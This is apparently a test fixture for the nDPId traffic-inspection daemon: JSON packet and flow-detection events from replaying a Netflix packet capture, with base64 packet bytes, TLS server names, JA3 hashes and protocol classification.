+01125{"flow_id":47,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1942,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":728551,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"gCqoTGHM5JjWH70UCABFAAI52vZAAEAGVCfAqAEHNr8RM8\/JAbsptVYeqmuNy4AYEBU\/AQAAAQEICh9lMBGtilitFgMBAgABAAH8AwOssLX4r6P7GP1cyM+\/QL5jcos5eemrJxEB7qfdYiVRRQAAtsAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwDLALsAqwCbAD8AFAJ0APQA1AITAL8ArwCfAI8ATwAkApACiAKAAngBnAEAAPwA+ADMAMgAxADAAmgCZAJgAlwBFAEQAQwBCwDHALcApwCXADsAEAJwAPAAvAJYAQQAHwBHAB8AMwAIABQAEwBLACAAWABMAEAANwA3AAwAKABUAEgAPAAwACQD\/AQABHQAAABkAFwAAFGlvcy5uY2NwLm5ldGZsaXguY29tAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgANACAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAwAPAAEBABUAqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1942,"source":"netflix.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":4,"flow_first_seen":1484319064669,"flow_last_seen":1484319064728,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53193,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +01124{"flow_id":48,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1943,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":729673,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"gCqoTGHM5JjWH70UCABFAAI526xAAEAGU3HAqAEHNr8RM8\/SAbtTxg2VXDZIdIAYEBX36QAAAQEICh9lMBOtilitFgMBAgABAAH8AwM\/Ud3IJ+zS9aVmySryI5irQf+M2+tqC0+UPSJWqvpDqAAAtsAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwDLALsAqwCbAD8AFAJ0APQA1AITAL8ArwCfAI8ATwAkApACiAKAAngBnAEAAPwA+ADMAMgAxADAAmgCZAJgAlwBFAEQAQwBCwDHALcApwCXADsAEAJwAPAAvAJYAQQAHwBHAB8AMwAIABQAEwBLACAAWABMAEAANwA3AAwAKABUAEgAPAAwACQD\/AQABHQAAABkAFwAAFGlvcy5uY2NwLm5ldGZsaXguY29tAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgANACAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAwAPAAEBABUAqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1943,"source":"netflix.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":4,"flow_first_seen":1484319064671,"flow_last_seen":1484319064729,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53202,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +01202{"flow_id":46,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1944,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":739999,"pkt_caplen":643,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":643,"pkt_l4_len":609,"pkt":"5JjWH70UgCqoTGHMCABFIAJ1AABAADsGWDEX9guNwKgBBwBQz8BQi73n89d9H4AQCAKi0gAAAQEICmLwwVAfZTACSFRUUC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudA0KU2VydmVyOiBuZ2lueA0KRGF0ZTogRnJpLCAxMyBKYW4gMjAxNyAxNDo1MTowNCBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogMTk4NjkzDQpMYXN0LU1vZGlmaWVkOiBNb24sIDE0IERlYyAyMDE1IDEwOjU4OjM4IEdNVA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUNClByYWdtYTogbm8tY2FjaGUNCkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKg0KQWNjZXNzLUNvbnRyb2wtRXhwb3NlLUhlYWRlcnM6IFgtVENQLUluZm8sWC1TZXNzaW9uLUluZm8NClgtVENQLUluZm86IGgwPTI1NzU2ODI2OTI7aDE9MzM0ODMzNTU3MDtoMj0xNjQwMjg3NTIyO2gzPTM0NjY5MTAwNjY7aDQ9MjkwMjc2OTY5MTsNClgtU2Vzc2lvbi1JbmZvOiBhZGRyPTczLjIwMy4xMDcuMjM7cG9ydD01MzE4NDthcmdwPTYuc05jMERYU2Y4VEhFM2Y0eThWdU5sa1RITHNFblExQ0tja0M3dXN3MnZiQQ0KQ29udGVudC1SYW5nZTogYnl0ZXMgNTkyNjAtMjU3OTUyLzUxODM4MDkwDQoNCg=="} +02365{"flow_id":46,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1945,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":745396,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAABAADsGVMoX9guNwKgBBwBQz8BQi8Ao89d9H4AQCAK2EwAAAQEICmLwwVEfZTACAAAHgW1vb2YAAAAQbWZoZAAAAAAAAAABAAAHaXRyYWYAAAAUdGZoZAACACAAAAACAaEAAAAAABR0ZmR0AQAAAAAAAAAAAAAAAAAAQXNhaXoAAAAAAAAAADAiFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYAAAAYc2FpbwEAAAAAAAABAAAAAAAAAxkAAAJYdHJ1bgAACwUAAAAwAAAHiQJgAAAABl07AAADLwAGXTsABl08AAAAGAAGXTsABl07AAAAHAAGXTsABl07AAAAHQAGXTsABl08AAAAHQAGXTsABl07AAAAHQAGXTsABl07AAAAHQAGXTsABl08AAAAHQAGXTsABl07AAAAHQAGXTsABl07AAAAHQAGXTsABl08AAAAHQAGXTsABl07AAAAHQAGXTsABl07AAAAHQAGXTsABl08AAAAHQAGXTsABl07AAAAHQAGXTsABl07AAAAHQAGXTsABl08AAAAHQAGXTsABl07AAAAHQAGXTsABl07AAAAHQAGXTsABl08AAAAHQAGXTsABl07AAAAHQAGXTsABl07AAAAHQAGXTsABl08AAAAHQAGXTsABl07AAAAHQAGXTsABl07AAAAHQAGXTsABl08AAAAHQAGXTsABl07AAAAHQAGXTsABl07AAAAHQAGXTsABl08AAAAHQAGXTsABl07AAAAHQAGXTsABl07AAAAHQAGXTsABl08AAAAHQAGXTsABl07AAAAHQAGXTsABl07AAAAHQAGXTsABl08AAAAHQAGXTsABl07AAAAHQAGXTsABl07AAAAHQAGXTsABl08AAAAHQAGXTsABl07AAAAHQAGXTsABl07AAAAHQAGXTsABl08AAAAHQAGXTsABl07AAAAHQAGXTsABl07AAAAHQAGXTsABl08AAAAHQAGXTsABl07AAAAHQAGXTsABl07AAAAHQAGXTsABl08AAAAHQAGXTsABl07AAAAHQAGXTsAAARMdXVpZKI5T1Jam08UokRsQnxkjfQAAAACAAAAMAnAMvWrHNgAAAQABQAAAAgABQAAAt4ABQAAAAYABQAAAC8JwDL1qxzYAQACAAUAAAAGAAUAAAAICcAy9asc2AIAAgAFAAAABgAFAAAADAnAMvWrHNgDAAIABQAAAAYABQAAAA0JwDL1qxzYBAACAAUAAAAGAAUAAAANCcAy9asc2AUAAgAFAAAABgAFAAAADQnAMvWrHNgGAAIABQAAAAYABQAAAA0JwDL1qxzYBwACAAUAAAAGAAUAAAANCcAy9asc2AgAAgAFAAAABgAFAAAADQnAMvWrHNgJAAIABQAAAAYABQAAAA0JwDL1qxzYCgACAAUAAAAGAAUAAAANCcAy9asc2AsAAgAFAAAABgAFAAAADQnAMvWrHNgMAAIABQAAAAYABQAAAA0JwDL1qxzYDQACAAUAAAAGAAUAAAANCcAy9asc2A4AAgAFAAAABgAFAAAADQnAMvWrHNgPAAIABQAAAAYABQAAAA0JwDL1qxzYEAACAAUAAAAGAAUAAAANCcAy9asc2BEAAgAFAAAABgAFAAAADQnAMvWrHNgSAAIABQAAAAYABQAAAA0JwDL1qxzYEwACAAUAAAAGAAUAAAANCcAy9asc2BQAAgAFAAAABgAFAAAADQnAMvWrHNgVAAIABQAAAAYABQAAAA0JwDL1qxzYFgACAAUAAAAGAAUAAAANCcAy9asc2BcAAgAFAAAABgAFAAAADQnAMvWrHNgYAAIABQAAAAYABQAAAA0JwDL1qxzYGQACAAUAAAAGAAUAAAANCcAy9asc2BoAAgAFAAAABgAFAAAADQnAMvWrHNgbAAIABQAAAAYABQAAAA0JwDL1qxzYHAACAAUAAAAGAAUAAAANCcAy9as="} +00429{"flow_id":46,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1946,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":751283,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0l0ZAAEAGvkvAqAEHF\/YLjc\/AAFDz130fUIvF0IAQD9K2hQAAAQEICh9lMCli8MFQ"} +01199{"flow_id":45,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1947,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":758160,"pkt_caplen":642,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":642,"pkt_l4_len":608,"pkt":"5JjWH70UgCqoTGHMCABFIAJ0AABAADgGYzMX9gOMwKgBBwBQz78\/hneGawM3jIAQCAInRgAAAQEICm8f72cfZS\/2SFRUUC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudA0KU2VydmVyOiBuZ2lueA0KRGF0ZTogRnJpLCAxMyBKYW4gMjAxNyAxNDo1MTowNCBHTVQNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtDQpDb250ZW50LUxlbmd0aDogMTIzMDQ4DQpMYXN0LU1vZGlmaWVkOiBXZWQsIDAyIERlYyAyMDE1IDEzOjA0OjU0IEdNVA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUNClByYWdtYTogbm8tY2FjaGUNCkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKg0KQWNjZXNzLUNvbnRyb2wtRXhwb3NlLUhlYWRlcnM6IFgtVENQLUluZm8sWC1TZXNzaW9uLUluZm8NClgtVENQLUluZm86IGgwPTM4NTE3NzYxMDQ7aDE9NTYzNTQ1MTkwO2gyPTM0Mjg0OTQzNDg7aDM9MzI2MjY4NDc4MjtoND0yMTAyNTU2NjI2Ow0KWC1TZXNzaW9uLUluZm86IGFkZHI9NzMuMjAzLjEwNy4yMztwb3J0PTUzMTgzO2FyZ3A9Ni5zTmMwRFhTZjhUSEUzZjR5OFZ1TmxrVEhMc0VuUTFDS2NrQzd1c3cydmJBDQpDb250ZW50LVJhbmdlOiBieXRlcyA1ODE0My0xODExOTAvMzI0NjgzMzUNCg0K"} +02373{"flow_id":45,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1948,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":763566,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAABAADgGX8sX9gOMwKgBBwBQz78\/hnnGawM3jIAQCAJm8QAAAQEICm8f72cfZS\/2AAAC2G1vb2YAAAAQbWZoZAAAAAAAAAABAAACwHRyYWYAAAAUdGZoZAACACAAAAABAqAAAAAAABR0ZmR0AQAAAAAAAAAAAAAAAAACVHRydW4AAAsBAAAAMAAAAuAAAAQAAAAB+QAAAAAAAAQAAAAB+QAAAAAAAAQAAAACuwAAAAAAAAQAAAACkgAAAAAAAAQAAAACdAAAAAAAAAQAAAACcgAAAAAAAAQAAAACFgAAAAAAAAQAAAAB5AAAAAAAAAQAAAACAwAAAAAAAAQAAAABywAAAAAAAAQAAAABpwAAAAAAAAQAAAAB1wAAAAAAAAQAAAACGAAAAAAAAAQAAAACCAAAAAAAAAQAAAAB0wAAAAAAAAQAAAAB4gAAAAAAAAQAAAABwwAAAAAAAAQAAAACKgAAAAAAAAQAAAACIQAAAAAAAAQAAAAByQAAAAAAAAQAAAAB6wAAAAAAAAQAAAAB7gAAAAAAAAQAAAACKwAAAAAAAAQAAAACGgAAAAAAAAQAAAAB2QAAAAAAAAQAAAACAQAAAAAAAAQAAAAB8AAAAAAAAAQAAAAB8gAAAAAAAAQAAAACFAAAAAAAAAQAAAAB5QAAAAAAAAQAAAABrAAAAAAAAAQAAAAB6wAAAAAAAAQAAAABxAAAAAAAAAQAAAAB\/AAAAAAAAAQAAAACGgAAAAAAAAQAAAAB7gAAAAAAAAQAAAACTAAAAAAAAAQAAAAB8gAAAAAAAAQAAAABxgAAAAAAAAQAAAAB1gAAAAAAAAQAAAAB2gAAAAAAAAQAAAAB4wAAAAAAAAQAAAAB2wAAAAAAAAQAAAACBgAAAAAAAAQAAAAB2wAAAAAAAAQAAAAB8gAAAAAAAAQAAAAB7gAAAAAAAAQAAAAB5wAAAAAAAAA8c2R0cAAAAAAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioAAF9rbWRhdCEQFQCgG8D37ETwIQAAAAAAAAAAABw4ADf\/gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABvwQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8hG5Pd0Y5EQglAweSXK6bxDnKqFKAAtxJZ8XF4+J+Z+64+z\/2HjyPNEeucaECC8MxSn\/b\/I3Dp2gXxxB9tjLZNarPJujMhA6yB1kIJcrm1NZDq2Rn+N1jP61GCVA96diH1TWuSuQx+1vzMa7MUbONvWZS5djSWzKQWzG4BM7410CsRCwiy2QBqtyCaaLamSTyowWeFGJ\/ULXSwyRx892e+3bk7FcBpvxSvK4fjKDPKB85USn5dMc23fsgZ8029qkSoPbbZXnLVCXAlWFIIZ3o="} +00430{"flow_id":45,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1949,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":769046,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0rXFAAEAGsCHAqAEHF\/YDjM+\/AFBrAzeMP4Z\/boAQD9KqAQAAAQEICh9lMDhvH+9n"} +00438{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1950,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":781140,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACoGNcw0JST8wKgBBwG7z9NfgzodxPfVk6ASRersYQAAAgQFtAQCCAqFpSALH2UwAgEDAwg="} +00428{"flow_id":50,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1953,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":782652,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0MmJAAEAG7ZHAqAEHNCUk\/M\/TAbvE99WTX4M6HoAQEBVQwAAAAQEICh9lMEaFpSAL"} +00426{"flow_id":48,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1954,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":783171,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0EM5AACoGNjU2vxEzwKgBBwG7z9JcNkh0U8YPmoAQAD09hgAAAQEICq2KWL0fZTAT"} +02378{"flow_id":46,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1956,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":783796,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAAFAADsGVMkX9guNwKgBBwBQz8BQi8XQ89d9H4AQCAK3VQAAAQEICmLwwVEfZTACHNgdAAIABQAAAAYABQAAAA0JwDL1qxzYHgACAAUAAAAGAAUAAAANCcAy9asc2B8AAgAFAAAABgAFAAAADQnAMvWrHNggAAIABQAAAAYABQAAAA0JwDL1qxzYIQACAAUAAAAGAAUAAAANCcAy9asc2CIAAgAFAAAABgAFAAAADQnAMvWrHNgjAAIABQAAAAYABQAAAA0JwDL1qxzYJAACAAUAAAAGAAUAAAANCcAy9asc2CUAAgAFAAAABgAFAAAADQnAMvWrHNgmAAIABQAAAAYABQAAAA0JwDL1qxzYJwACAAUAAAAGAAUAAAANCcAy9asc2CgAAgAFAAAABgAFAAAADQnAMvWrHNgpAAIABQAAAAYABQAAAA0JwDL1qxzYKgACAAUAAAAGAAUAAAANCcAy9asc2CsAAgAFAAAABgAFAAAADQnAMvWrHNgsAAIABQAAAAYABQAAAA0JwDL1qxzYLQACAAUAAAAGAAUAAAANCcAy9asc2C4AAgAFAAAABgAFAAAADQnAMvWrHNgvAAIABQAAAAYABQAAAA0AAAA8c2R0cAAAAAAmFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYAAAiEbWRhdAAAAAkGUH2KYPhI1L8AAALfBqtavO3adWxQFAMWWyUJtSy8avU2uEyzca+OtZ4jY886CcNk1CvHNuY1ghLw3O9x9vQoLOnXiMZ4Fh4RiO51CkCIYxu+JXGLA3lYJ8WL93bm33QUbNoff8Ik+4g4ldWZva56hExmoU6OE+Mse\/vzHArh7JXPe23DuwIVnrZ117OPU\/tE0DA5i4\/e5kFW6G3bLQQ6iKhxWUbmq8UyHGPUaf0q+zNchPAg8DJDRfDNlsQjqVD8Ubg\/AdZG0ERV8fF9H2KxZKwhmSDe+Uep41QL8oku8dCgJ8gwFJjXauwPUC2163PfKenDFdjOf5zVJOWBlLdLJH7+DaePrOyGx1xfk5Aw6eVGCSjXRzCq2KeQSgGsZZaJkXwXFqfb0N2V5oyVO26taBh71t6YrFyEQScFSDAuGb09k0hCW9RPGTRA9oT1z+O0fsZcii\/SZ1JjOksEu2gVY\/Y98dJYbrS1+qeAY0Cfj2v9oO1WJkEQ1GoHL05Dlqrc5BMDnls7l\/cAeYR\/O2LCfQWo2+ZCzs0iDH4zIqWrTEj\/4K+X2F464KHves8EucoPsebbQzXmwyuu5AMrzX2QMr+UKfgZ0LXXh2if3YtvBV9jT2SwUPiqQSociiD3rgAve2Xq7VtOnIn+vfKSAC7nECFNMwZfRPjHp1PMZqbThnBVPSLFAKJGLfDkZ53xzjfRryX0bh2JyElnx1yesv5F0GnEhRrwm29leKOMhMs1z\/d5YmosodAzvbz8GZJsMGBtfO9G6FlgQLYC1e12rWPvtomDfISvZsz2x+XkISbnjdchoyIhp53Lm3GQWXEHxkxoxpV\/1ONeL3svK2RKiYCzQvfDqwUPO1qF2A+nE7Cbg0wcnFERxoJfvhwfnE9ZU6HCi7w9RRaqWLrygvoVg95nnM3sJ72CN0QrO4HXAPoXC1bi0QkKNDDCZovHz2CZTtae3bMbsxT5ExyjdLGiSgOCHWd5AKUZGhBcDWj\/AAAABwZwIvZfPCwAAAAwZRjdcKqUwAH5ZQrtvO1\/MnsrXpyNLEof7m6kq9h00IM7YUcM8pZnuxFyMNoqWTknAAAABwZrxPnZYh8AAAAJQaF0uQOt746WAAAABwYkKs3093kAAAANQSfBH6PAVQZqU601rAAAAAcGJfY6elvPAAAADkHlhhzh3YSS+DBfxPKTAAAABwaI4yKAy1YAAAAOQebLW5VBbXG8Maxq6EQAAAAHBqyuATvCjQAAAA5B1V05B7+BpkpUG18p0AAAAAcGbChEKY7DAAA="} +00740{"flow_id":50,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1957,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":785302,"pkt_caplen":295,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":295,"pkt_l4_len":261,"pkt":"gCqoTGHM5JjWH70UCABFAAEZfjdAAEAGoNfAqAEHNCUk\/M\/TAbvE99WTX4M6HoAYEBXgSwAAAQEICh9lMEiFpSALFgMBAOABAADcAwNYeOlYxBLS5gM2ky3bQNFyoxLviT91lQxxEizDalFYdwAAJgD\/wCzAK8AkwCPACsAJwDDAL8AowCfAFMATAJ0AnAA9ADwANQAvAQAAjQAAABgAFgAAE2ljaG5hZWEubmV0ZmxpeC5jb20ACgAIAAYAFwAYABkACwACAQAADQASABAEAQIBBQEGAQQDAgMFAwYDM3QAAAAQADAALgJoMgVoMi0xNgVoMi0xNQVoMi0xNAhzcGR5LzMuMQZzcGR5LzMIaHR0cC8xLjEABQAFAQAAAAAAEgAAABcAAA=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1957,"source":"netflix.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":4,"flow_first_seen":1484319064711,"flow_last_seen":1484319064785,"flow_tot_l4_data_len":377,"flow_min_l4_data_len":32,"flow_max_l4_data_len":261,"flow_avg_l4_data_len":94,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.37.36.252","src_port":53203,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ichnaea.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +00429{"flow_id":46,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1959,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":790976,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0JklAAEAGL0nAqAEHF\/YLjc\/AAFDz130fUIvLeIAQEACwjAAAAQEICh9lMEti8MFR"} +00426{"flow_id":47,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1960,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":796538,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA01XFAACkGcpE2vxEzwKgBBwG7z8mqa43LKbVYI4AQAD2LiwAAAQEICq2KWL4fZTAR"} +02378{"flow_id":47,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1961,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":796989,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXc1XJAACkGbOg2vxEzwKgBBwG7z8mqa43LKbVYI4AQAD3mwgAAAQEICq2KWL4fZTARFgMDAFkCAABVAwNYeOlYXUx9tEAn\/69kC4b9mi1cW0+vEUQg6DiZzAg\/6yAmL+DzbHULNfloEbqKSe1qhpuImN1PyGFs0gpO0aWuDcAvAAAN\/wEAAQAACwAEAwABAhYDAwgiCwAIHgAIGwAEIDCCBBwwggMEoAMCAQICAhObMA0GCSqGSIb3DQEBCwUAMIGZMS0wKwYDVQQDEyRQcmltYXJ5IENlcnRpZmljYXRlIEF1dGhvcml0eSAoMjAwOSkxEzARBgNVBAgTCkNhbGlmb3JuaWExCzAJBgNVBAYTAlVTMRQwEgYDVQQKEwtOZXRmbGl4IEluYzEcMBoGA1UECxMTRWxlY3Ryb25pYyBEZWxpdmVyeTESMBAGA1UEBxMJTG9zIEdhdG9zMB4XDTAxMDExNzIwMzIwOVoXDTE4MDMyNDIwMzIwOVowgYAxGzAZBgNVBAMMEioubmNjcC5uZXRmbGl4LmNvbTEWMBQGA1UECgwNTmV0ZmxpeCwgSW5jLjETMBEGA1UECwwKT3BlcmF0aW9uczELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3J